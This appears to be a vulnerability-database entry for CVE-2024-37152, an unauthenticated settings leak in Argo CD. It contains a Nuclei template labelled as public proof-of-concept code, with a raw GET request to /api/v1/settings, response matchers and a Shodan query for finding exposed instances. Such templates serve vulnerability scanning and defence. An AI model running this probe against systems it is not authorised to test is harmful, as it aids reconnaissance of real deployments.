Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.
PoC代码[已公开]
id: CVE-2024-37152
info:
name: Argo CD Unauthenticated Access to sensitive setting
author: DhiyaneshDk
severity: medium
description: |
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.
reference:
- https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2
- https://nvd.nist.gov/vuln/detail/CVE-2024-37152
classification:
epss-score: 0.596
epss-percentile: 0.98197
cpe: cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: argoproj
product: argo_cd
shodan-query: html:"Argo CD"
tags: cve,cve2024,argo-cd,info-leak
http:
- raw:
- |
GET /api/v1/settings HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"passwordPattern":'
- '"appLabelKey":'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a00473045022100c7afb3ed99a1a1c7f27b1e883ab7cd71dc549b9ef0c4e391d02d55aaf679356d022067a990df562c576c53007e7ae25f062691f91f74316f05fc4fc35be1b5409999:922c64590222798bb761d5b6d8e72950